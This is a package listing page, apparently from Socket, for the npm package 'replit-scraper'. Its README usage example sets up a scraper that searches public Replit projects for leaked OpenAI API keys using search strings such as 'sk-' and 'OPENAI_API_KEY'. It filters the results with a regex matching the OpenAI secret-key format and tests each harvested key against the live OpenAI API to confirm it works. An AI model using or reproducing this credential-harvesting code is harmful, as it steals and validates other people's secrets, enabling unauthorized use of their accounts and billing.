Socket
Book a DemoInstallSign in
Socket

replit-scraper

Package Overview
Dependencies
Maintainers
1
Versions
1
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

replit-scraper

A simple data scraper for Replit

1.0.0
latest
Source
npmnpm
Version published
Maintainers
1
Created
Source

replit-scraper - A simple data scraper for Replit [Discord]

NPM NPM GitHub issues GitHub forks GitHub stars GitHub license Discord server

A simple data scraper for Replit

Installation

npm install --save replit-scraper

Usage

import axios from "axios";
import { ReplitScraper } from "../dist/index.js";

const scraper = new ReplitScraper({
	output: "./output.json",
	headers: {
		"User-Agent": "ReplitScraper/1.0.0", // optional
		cookie: "connect.sid=; replit_authed=1;", // Your replit auth cookie
	},
	searches: [
		{ value: "openai.api_key", first: 10000 },
		{ value: 'apiKey: "sk-', first: 5000 },
		{ value: "OPENAI_API_KEY sk-", first: 10000 },
		{ value: "openai sk-", first: 10000 },
		{ value: "Authorization: Bearer sk", first: 5000 },
		{ value: "openai", first: 5000 },
		{ value: "chatgpt", first: 5000 },
		{ value: "OPENAI_API_KEY", first: 5000 },
		{ value: "openai process.env sk", first: 10000 },
		{ value: "sk AI", first: 6000 },
		{ value: "sk- openai", first: 5000 },
		{ value: "openai gpt432k sk", first: 6000 },
		{ value: "openai.organization org sk", first: 5000 },
	],
	filter: /sk-\w{20}T3BlbkFJ\w{20}/g,
	check: async (value) => {
		try {
			await axios.post(
				"https://api.openai.com/v1/chat/completions",
				{
					model: "gpt-3.5-turbo",
					max_tokens: 1,
					messages: [
						{
							role: "user",
							content: "",
						},
					],
				},
				{
					headers: {
						Authorization: `Bearer ${value}`,
						"Content-Type": "application/json",
					},
				},
			);
		} catch (err) {
			return false;
		}

		return true;
	},
});

await scraper.Start();

Keywords

replit

FAQs

Package last updated on 20 Mar 2023

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts

SocketSocket SOC 2 Logo

Product

About

Packages

Stay in touch

Get open source security insights delivered straight into your inbox.

  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc

U.S. Patent No. 12,346,443 & 12,314,394. Other pending.